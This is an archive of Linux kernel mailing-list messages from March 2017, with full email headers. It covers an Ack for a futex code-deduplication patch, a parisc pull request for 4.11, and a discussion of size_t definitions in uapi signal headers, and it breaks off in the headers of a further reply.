X-Microsoft-Exchange-Diagnostics: 1;VI1PR0501MB2766;3:INHRNM2s02ZJu/LVMjP8fdM4mNtrhsK4AyaO3HdALS6aAGU/Gpg0cC2VrJm898OHFYtpnntdJT+PVEumOjpq4agHGTeiBRLaoScdR9r4jRwRPGLUt6Z6K9ynjnGt64aQWxqdIWUwHOPsZUDVFjlCATnYYzA5Wzdwto8zoHQreI+K0fsKgAeW8h4RkPXQRwKN9hAytFNkJhu+0SCKcAlbx9HNxW73BvTZvA9DFRcW/P5M7NsAqWpq+fkaAMadKtEFOCmyWImc+1O24xRlzy8zE85SmR5dqAa3RyisEQII8SY=;25:O1bEkbdpYYbieOXsNsGziBlCdYUnctrnHFgxH3yt3EqXJ4ydpyl6/x1mUq//H2Ixhpw81NLKHAwOaQoP/7W7hOeRfWDW6e8HZuzYsja1fBPlT4lOqVDTZ36csYUE0SATH0vaXUnxl/IdfppqgTwr+8IPQlf8ZY9GoxhEXuSQwjcvcH0zdUI6GfPY4uJo5Sy18p/2UGklXx1A+CrET1IcGA19HmXv6FtrmcXMNN8i65UvNymUzldIYQuX2AbdCJNON3aqIcXrSTpxRgTt/JdyU2f+pjWT5H0wARIwCD24ixRvqV8CErJRMxUYt3Djr6kyNlcHGowQ+ovZDgJqBco1eSLHxq40bJQFM/fT3djfXY17uh3NfT5Inlipp5GAvDfJZPomXPnnndgc50sCAZ6OmnWCqEby4OWDSXhtMcBZdKnXpzg8AaW4qWWZbl
 TrPG1UBLpCsxe+cYcCbJdqeE9BAQ==
X-Microsoft-Exchange-Diagnostics: 1;VI1PR0501MB2766;31:AiO2BL74mVA2YqVrEsh1rdcc0WHAoG2LTbuHHLaXZ8uA6dMz7yu6A0K27TSiD/ebm+aMh+jNKt0NAQZUdr111Fbq3uQPrXGDz9Hvg6cYSxzUNvRD2IMTiViHysEv+yOmx88iLeGFwkYDp4yKKwRAESokENt6+A9kNjZ+7d7gGGDW0r6g3bDF2MCz1R5nGm7KBvKr3vih4FH7JUXaLGBfChaA9s0bm/7HboqOgTU0hgASppqn9X0lYrS69G8uU1uhtvGWM1dkJdpKSwnX4bz9jyKox0qrHhBEl6D3xGWfA/0=;20:whUTUlttP1BgnZeFSycRAw+gFQjjGKG3eFu4Fp1JQGKWfh9j7suuxPdhHsJbGRG9GPYYRAeNUVbpXNhKyZ9rflAZxOIYSVjllkfPqxY3iNj79FDAa1pijsd+c1rOWqBRjBt1G2NSobI7jinBKN0N0jpmBJ0BN6ZfaIcpvOwCxc1Q3HyG7cGEVd2gItxaWmDysLh3hBuB4jMliDiBzg5VKHp+M/OUlQ5XnFlEydrtdQ9P170L4sc5pfFU4slfs4U1WsMHT4gu9Pl1QPMH3fTdL+b96SHc1kIUQlzQ+gbikqVSNU675uOVqjpAoQxY3e13oJ/uDVRgfaW7DAFszj0RKq7FRucSg1tjd7k+X8F3TNua0lfF5xK1Utk9JAVXy0Nz+OdbqjJ0ugQppCTuLxefGISIpxQIPombacTtBjxUok2tWGyewBBrYnux2
 sE59b/IoyFUzTzcBKr1WqaNyLVSp84gBaEp7WngSKQ5kwrsw4ZwyerRjgy1vaSNzkoB8Mfq
X-Microsoft-Antispam-PRVS: <VI1PR0501MB27667B6E5F7FF31D4577BEBCB22B0@VI1PR0501MB2766.eurprd05.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:(171992500451332);
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(6040375)(601004)(2401047)(8121501046)(5005006)(10201501046)(3002001)(6055026)(6041248)(20161123558025)(20161123555025)(20161123562025)(20161123564025)(20161123560025)(6072148);SRVR:VI1PR0501MB2766;BCL:0;PCL:0;RULEID:;SRVR:VI1PR0501MB2766;
X-Microsoft-Exchange-Diagnostics: 1;VI1PR0501MB2766;4:nRPx2Z+m9DH3pm8Wrp5Uw/YKL4gDqHNsa7KeSsSzaBDmtpMtkopxrCJKWqYh6PFHu4U8GFE1m9T2r6RsPj4qhGwZ90vqG8EhoEvctV9hdDjoQa5LID22x3g7gCEYjL5EDqykynjHNMQU0J6gRGk1oFU0xHnOvA1ErW9G3hF9Pm1eob/B2iTa171i/rSi5AG3rIHWIQIczmyzfZairxd/v/ySgrsRkSUy8HbsenKVfqdRabx1wGVl3bQASo5ury5GfVaBFkkoklRPj9nty1TkZKAAva+9SUKqVsuKubSiGFp3W9UtxUMKPFzVla7o2e9mIjj/MMXmBGABDl6gPsaXAfj1ihbNbUsHRmhpffmRzONb30f/Uv3xi8SlD4EKi1TFCrFTLxaZHdef5usrdKb7vkbuYz5DkDNA+lXsyyPjZi0K+5zOgvtObv7xISetqVDLGLN1cyBQ31h0EDAxJtPjxLOP8CSj926Makc0WjTve1Nkgm70ohz0u+UqcQrwrq1+z0G6wkpInMyhQcF+C/kojev9p0K271DdMX3QWqLeFpAElAvZueGG8vemAwBpwUXR4IZaUzfPAr4nSCNS8QmB1D+5cdrKgL2YQxdS9icNv3pAMc0E2bhBISpjzrec2/O2oRCZSnxXCgO9d7ZXJgjt0uvXI5TS8vcmnrnE0lY8zLg=
X-Forefront-PRVS: 0235CBE7D0
X-Forefront-Antispam-Report: SFV:NSPM;SFS:(10009020)(4630300001)(6009001)(6049001)(7916002)(39450400003)(39860400002)(39840400002)(39850400002)(39410400002)(24454002)(377454003)(31686004)(3846002)(42186005)(6116002)(5660300001)(4001350100001)(230700001)(189998001)(6306002)(64126003)(76176999)(50986999)(54356999)(54906002)(8666007)(77096006)(2950100002)(6666003)(50466002)(6486002)(25786008)(229853002)(36756003)(23746002)(83506001)(47776003)(2906002)(81166006)(66066001)(65806001)(65956001)(8676002)(53936002)(4326008)(33646002)(31696002)(86362001)(53546006)(966004)(7416002)(305945005)(38730400002)(7406005)(7736002)(92566002)(6246003)(18886065003);DIR:OUT;SFP:1101;SCL:1;SRVR:VI1PR0501MB2766;H:[10.15.7.185];FPR:;SPF:None;MLV:sfv;LANG:en;
X-Microsoft-Exchange-Diagnostics: =?Windows-1252?Q?1;VI1PR0501MB2766;23:ZUzMFwY8RzWaub9RFS8dA5k22PLiYqVUit2?=
 =?Windows-1252?Q?kijw0YY9SK/Fo+0teMofgt7CRDhZiWEk3tLF9Xc3n3BDlMtfgo8VVp9t?=
 =?Windows-1252?Q?DcGE1WvfJS95DK/djfvV4jd4OgyMzfXM9CfnLpyfqHWF57qRjsPaqL3d?=
 =?Windows-1252?Q?+UPPUhA/LS6uN3QFencKo8X4x3ItEbw5Gh8oL2xYZp5tewnZKv0Va7oo?=
 =?Windows-1252?Q?vvmwTkQXFQ/p69qajFPE2P1shdSQU/gKB+L37uguBKJM4fhf6mY1mtCa?=
 =?Windows-1252?Q?rLsyLqXeEUOYiNnLDd3cERU0xdfhHxGiYhfWl0DQpicoGw8OfWaFbRgA?=
 =?Windows-1252?Q?x4lDHF9lz5riEjM2EULMW9cRh9iOlN8wBH/KvpRwyRa8GQehbXFwIps2?=
 =?Windows-1252?Q?fHhuZRsdst/sg1ezb0iOX8z63Nk+XU3qdUGIDRp9Cxt/8OUZK4jR/j/i?=
 =?Windows-1252?Q?TksEZgM3B627gPMeQ8rkTcVX/I2TN47s1NExh0Bb1r0ttDj8s2yYFjwc?=
 =?Windows-1252?Q?/JKlaDOQrFLuKFzztC+eNXts31bhzaS1K9oXZTln3c6PQJfmdNvdyQLA?=
 =?Windows-1252?Q?D900QspLD5UkSCZGsHxX3v10M4MgarqZdz6EVKW5zNqiHYpYc8oAh5Eq?=
 =?Windows-1252?Q?C/ 
X-Microsoft-Exchange-Diagnostics: 1;VI1PR0501MB2766;6:zmwubilPVlli8LVs19VdiurWRmG3yqnYqDiX4S/PhY84sqV9Cpi5RtK7ndb8jXF5NBu/0jzip9LL2cAYNHkC3mGRuhgCUATzrg3+ubCw1nb1XNpjbFfga2C99v0uyBllNOO8FQ4KQ9EIFXrDyTsApgA5fJWjFo2s0a1A/hK832aVsGRrscwZFeT40i23iZSYEgKkAXyI4WaguF94IQqoJUulLCTyGHBwIXYBfCbSp0gL4LPFooPHFyiEydBP3AzXKPVJTRxRsXo3JiAvXMs40Ila5H0Q5+Ka23MxMr/3sVl90ELyNdGopnTvKKwdkH0lE2aErv7lXdyHhHGI3393cjatEK70QDFeUXZZ/t3kcWi7BPoNUTd6sQiZUCJPSsT7wMOaQsQvTxoiCOjhdL8H16KtY9rWDfr8t/zU6rCXHj8=;5:jcpKBeKSxAvRAbNkyeWXC0qZ8l8zuW2SN6MHt/wXMhii0bIPNXy8UZsoHMSQvs/REdE+Xp3vVvgmwI7Elii83vuFbNFXA6KAV9tzAsidrfDdKmSRJiEasqEJKESJ+Qo+0WDvVaqR0sa3LcunHi8RU8ByfvSrfmxId44475uX0Fs=;24:pTV7k0odGURONqt4St9YyINBFHUxbau1RTRTAvcZDkff6B3l7mWGOmONa6br97oX+2MQ7aj2BFcS31lq/eWuuRigx5AGobV7wD2qDSuJxOo=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1;VI1PR0501MB2766;7:A5wgTaKKztwdWsKpjcsxsS8xHQDar3d19N8qDzbgxbxjqbO3+jEzQ6ObLV7fQJ9MadE9mnKnx1TU2a86EBL3iYLQJzyWb2IurjCIyKV1Pu6036BqWPwAUU6Wdil7habVgG1I8ULo87qm/6lej1AqZHnac+UUr4vyOVtsNOZSeADmHoacr79MOQ523PymUn+CMKNKlniFWZvtI8FpWaPIktXI7GrVXJQV6c6xdiNbmbFi2awJUF6zidbTMmDps5j5L03h0GDRcFbFDOt+pzvHFHoBIGAkPPL5hlmtNlmdY01Z7JEbGrCxJL8CwUfnBaLtuqiTUJQD9wu2JkYV01d6gA==
X-OriginatorOrg: Mellanox.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 03 Mar 2017 14:49:00.7885 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: VI1PR0501MB2766
X-archive-position: 57019
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: cmetcalf@mellanox.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58182 gmane.linux.kernel:2422934 gmane.linux.ports.alpha:4106 gmane.linux.kernel.arc:2180 gmane.linux.ports.arm.kernel:562453 gmane.linux.ports.hexagon:1135 gmane.linux.ports.ia64:27673 gmane.linux.ports.parisc:27295 gmane.linux.ports.ppc64.devel:139193 gmane.linux.ports.sh.devel:55105 gmane.linux.ports.sparc:24669 gmane.linux.kernel.cross-arch:35351
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58182>

On 3/3/2017 7:27 AM, Jiri Slaby wrote:
> There is code duplicated over all architecture's headers for
> futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> and comparison of the result.
>
> Remove this duplication and leave up to the arches only the needed
> assembly which is now in arch_futex_atomic_op_inuser.
>
> Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
> remove pointless access_ok() checks") as access_ok there returns true.
> We introduce it back to the helper for the sake of simplicity (it gets
> optimized away anyway).
>
> Signed-off-by: Jiri Slaby<jslaby@suse.cz>

Acked-by: Chris Metcalf <cmetcalf@mellanox.com> [for tile]

-- 
Chris Metcalf, Mellanox Technologies
http://www.mellanox.com




From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for 4.11
Date: Fri, 3 Mar 2017 23:24:24 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20170303222424.GA14364@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488579880 21809 195.159.176.226 (3 Mar 2017 22:24:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Mar 2017 22:24:40 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 03 23:24:35 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cjvck-00058w-Ru
	for glpp-linux-parisc@m.gmane.org; Fri, 03 Mar 2017 23:24:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752145AbdCCWYh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 3 Mar 2017 17:24:37 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:58408 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751742AbdCCWYg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 3 Mar 2017 17:24:36 -0500
Original-Received: from ls3530 ([109.192.22.121]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M0xbD-1cRHsL35Bf-00vBpg; Fri, 03
 Mar 2017 23:24:26 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:EeogCpyGD5AA8slF0XV7YpW/bR5dQ3/Qpm0WMKvivaegSHBYUJ8
 hVDQdST06td0IkfbRujZ6zFqpOMfd2MTQVtnqSEWj+D1LHE49KxGcv9g3ZRaaNi2HjXsOLq
 j3X2bd8RZEcxc7C7YhrxGB8rVmcxbVaTCuzGFqZtkTUCzQgaCRn/t8lJwjckvRyj/zzXajO
 99KmjK13ZBE8e09k50txw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:SAJ3Cg2qhnc=:87GWZZ2mc3T2dNshTIvDYt
 +pbfSkOtF6Tk96PEnMqxfMiRBWSV/PVnHHlYl+3Yg0AgVy+2oa2R9iR3LDncpIx4MYK75SgBB
 ro0YUo3yymOlIft9yha+U7H8WEwEJe43bGPp2BqxilnaiA+VcXGpJHpSOPyGBMME1CKxuLJxx
 GDx2rYHm5IpBIYWo5B369mPqhKvL1X1O0rulvH+DxqXV+3ITlny/VOOGZba9CNxwzpCht2sTk
 GdKnwqcF/KupjZZUTOw4IMNqaBMk4WsuFqJnj3/9QqxG33qMea7+etY3ugI2H+j58PHl3rVlm
 8s3Snz5HrALE7JN/jNi433gZf/xSOXhnJgFcm0o+xYC09MPoqBiMZ3YMxmvEhSeeAr05cbp11
 OsQrI7w/x5jCO+qM600eIM8cVjptUdLe5wlAKB1yA73gImTiChvE5M2WCFT2IUeej/Hm720Nk
 URPr+r/UEuJiu0qVM9ItCK5yPWWWvCyA4H8rPXYvDgVs7kK6yGqzvQ7QPU8Ar5YG3XWtSVlZp
 aEBsXyqHvuRnj79lUXB8GKRDEaI11TsHZDHG2Eloenc/6ScucySc1krBF7V4lQUVL9943gHnU
 juKkQz9bwO0qStHfcLgvKStlc6RdtIR93ugUNsqBDypOMngBWtnRAnQ1zD95WZmZoDcJJegRN
 RAIT+zDaZEE9CyXm8dIUYjz2gjF/h5w7Q/5Gqh2N5laruFXy7iEuuDLj7ubUDwukzDiBc6Vj6
 hkW48tlWHwMFIISIyRFS7umtKCYFi8qcQGryDN74VB/Td6cpEQIgft6p460=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27296 gmane.linux.kernel:2423231
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27296>

Hi Linus,

Please pull the changes for the parisc architecture for v4.11 from
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.11-1

Nothing really important in this patchset: Fix resource leaks in error paths,
coding style cleanups and code removal.

Thanks,
Helge

----------------------------------------------------------------
Arvind Yadav (3):
      parisc: eisa: Remove coding style errors
      parisc: eisa: Fix resource leaks in error paths
      parisc: ccio-dma: Handle return NULL error from ioremap_nocache

Dan Carpenter (1):
      parisc: fix a printk

Helge Deller (1):
      parisc: Define access_ok() as macro

John David Anglin (1):
      parisc: Remove flush_user_dcache_range and flush_user_icache_range

 arch/parisc/include/asm/cacheflush.h |   2 -
 arch/parisc/include/asm/uaccess.h    |   6 +-
 arch/parisc/kernel/cache.c           |  18 ------
 arch/parisc/kernel/signal.c          |  13 ++--
 arch/parisc/mm/fault.c               |   4 +-
 drivers/parisc/ccio-dma.c            |   6 +-
 drivers/parisc/eisa.c                | 122 +++++++++++++++++++----------------
 7 files changed, 83 insertions(+), 88 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: Re: [PATCH] uapi: fix asm/signal.h userspace compilation errors
Date: Fri, 3 Mar 2017 20:23:20 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <CAE2sS1i-xezJu2hHfzOxpCMZHc2J+dsturtqFPMRWHa6mm6ccQ@mail.gmail.com>
References: <20170226010156.GA28831@altlinux.org> <CAK8P3a0YX3RGAqWN0mwUJtBsqUX0C+QRtJLrT_UA=wX6Z+q0DA@mail.gmail.com>
 <CAE2sS1h9QNV+31GMSv8aahJYOb9hFtFp5Aj-yVOfg7cjBHr_kg@mail.gmail.com> <20170302154845.GB3503@altlinux.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1488590648 23404 195.159.176.226 (4 Mar 2017 01:24:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 4 Mar 2017 01:24:08 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
        Russell King <linux@armlinux.org.uk>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.
To: "Dmitry V. Levin" <ldv@altlinux.org>
Original-X-From: linux-mips-bounce@linux-mips.org Sat Mar 04 02:24:00 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cjyQP-0005A6-OD
	for sgi-linux-mips@gmane.org; Sat, 04 Mar 2017 02:23:57 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTP
	id 3f0f118c-0079-11e7-b156-b499baabecb2;
	Sat, 04 Mar 2017 01:24:00 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:43610 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993457AbdCDBX5zVsru (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sat, 4 Mar 2017 02:23:57 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 04 Mar 2017 02:23:37 +0100 (CET)
Original-Received: from mail-qk0-x243.google.com ([IPv6:2607:f8b0:400d:c09::243]:35929
        "EHLO mail-qk0-x243.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23993420AbdCDBX0ngs0W (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Sat, 4 Mar 2017 02:23:26 +0100
Original-Received: by mail-qk0-x243.google.com with SMTP id n141so7661772qke.3
        for <linux-mips@linux-mips.org>; Fri, 03 Mar 2017 17:23:26 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=WATg6wghVwQqK8lIVmzN45OxVBaaUPjfgpkkdfwxork=;
        b=Gm+dMj4ch8A5wx/SS2vA+iegMUCl4qN8LhDpuz2JF1eH6ZV0t3jdk27ZnTatilD645
         3V8ccBbjhAh7pjECzmoNlfkrzjIcl9UisOBEWXyuFAoK2fhsemEvAowxyRwjPBjBgslr
         ufuLEDqpXYnzmhpA4lQa99CvUkYKIdzeimYQc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc;
        bh=WATg6wghVwQqK8lIVmzN45OxVBaaUPjfgpkkdfwxork=;
        b=hIZRCJCMYbX9p/8hw9xUlvm9ZkHZWhG3xft6Tp0etEI3Qvw03F1pQ6a7wye3Gk4SNQ
         dAuI0CBAOHVrfLdYxSzn+FobsGJcZfFN4mjA7pUQlLPPyNjycXunPnJi1GiABZ177MJs
         /B0ohye/IlbCq921Q7Zu5ItZCfzkPOxCFB07yHT10qz59+PY35Gp3YD4+2zDe5jNIpKb
         ksCREcMS3A7YhhNXPDVOVgudmXtyXNUTl6TASYTGcQfXk7eXvL/rDGYbT7OC+BB+IgOI
         m/vTY1EsWCIuUMpdRsr1M8t/Ac1A9vW7UQnBIGP45t/lwaMu6WXmIjzJeTWYvz8puH23
         /ekw==
X-Gm-Message-State: AMke39l+yQyeAvvQRK7fYeA0MHVxnvSaLWZBEZjGdtImZ2azGc9AS6W9rFASJZH9kTDYUFR3Of6YH4k4QGn1sQ==
X-Received: by 10.237.36.116 with SMTP id s49mr5835114qtc.128.1488590600809;
 Fri, 03 Mar 2017 17:23:20 -0800 (PST)
Original-Received: by 10.237.61.167 with HTTP; Fri, 3 Mar 2017 17:23:20 -0800 (PST)
X-Originating-IP: [184.145.137.27]
In-Reply-To: <20170302154845.GB3503@altlinux.org>
X-archive-position: 57029
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: carlos@systemhalted.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58192 gmane.linux.kernel.cross-arch:35353 gmane.linux.ports.alpha:4108 gmane.linux.ports.arm.kernel:562579 gmane.linux.ports.ia64:27674 gmane.linux.ports.parisc:27297 gmane.linux.ports.ppc64.devel:139199 gmane.linux.ports.sparc:24674 gmane.linux.kernel:2423287
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58192>

On Thu, Mar 2, 2017 at 10:48 AM, Dmitry V. Levin <ldv@altlinux.org> wrote:
> On Thu, Mar 02, 2017 at 10:22:18AM -0500, Carlos O'Donell wrote:
>> On Wed, Mar 1, 2017 at 11:20 AM, Arnd Bergmann <arnd@arndb.de> wrote:
>> > On Sun, Feb 26, 2017 at 2:01 AM, Dmitry V. Levin <ldv@altlinux.org> wrote:
>> >> Include <stddef.h> (guarded by #ifndef __KERNEL__) to fix asm/signal.h
>> >> userspace compilation errors like this:
>> >>
>> >> /usr/include/asm/signal.h:126:2: error: unknown type name 'size_t'
>> >>   size_t ss_size;
>> >>
>> >> As no uapi header provides a definition of size_t, inclusion
>> >> of <stddef.h> seems to be the most conservative fix available.
> [...]
>> > I'm not sure if this is the best fix. We generally should not include one
>> > standard header from another standard header. Would it be possible
>> > to use __kernel_size_t instead of size_t?
>>
>> In glibc we handle this with special use of __need_size_t with GCC's
>> provided stddef.h.
>>
>> For example glibc's signal.h does this:
>>
>> # define __need_size_t
>> # include <stddef.h>
>
> Just to make it clear, do you suggest this approach for asm/signal.h as well?

The kernel is duplicating userspace headers in the UAPI implementation
and running into exactly the same problems we have already solved in
userspace. We currently have no better solution than the "__need_*"
interface for avoiding the duplication of the type definitions and the
problems that come with that.

I am taking this up with senior glibc developers on libc-alpha to see
if we have a better suggestion. If you give me 72 hours I'll either
have a better suggestion or the acknowledgement that my suggestion is
the best practical solution we have.

Note that in a GNU userspace stddef.h here comes from gcc, which
completes the implementation of the C development environment that
provides the types you need. The use of "__need_size_t" is a collusion
between the components of the implementation and use by the Linux
kernel would mean expecting something specific to a GNU
implementation.

I might suggest you use include/uapi/linux/libc-compat.h in an attempt
to abstract away the GNU-specific magic for getting just size_t from
stddef.h. That way you have documented the places that other runtime
authors need to fill out for things to work.

Cheers,
Carlos.



From - Thu Nov 08 21:39:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/3] futex: remove duplicated code
Date: Sat, 04 Mar 2017 23:49:44 +1100
Lines: 17
Approved: news@gmane.org
Message-ID: <877f45cil2.fsf@concordia.ellerman.id.au>
References: <20170303122712.13353-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1488631831 5101 195.159.176.226 (4 Mar 2017 12:50:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 4 Mar 2017 12:50:31 +0000 (UTC)
User-Agent: Notmuch/0.21 (https://notmuchmail.org)
Cc: linux-kernel@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
To: Jiri Slaby <jslaby@suse.cz>, akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Sat Mar 04 13:50:22 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
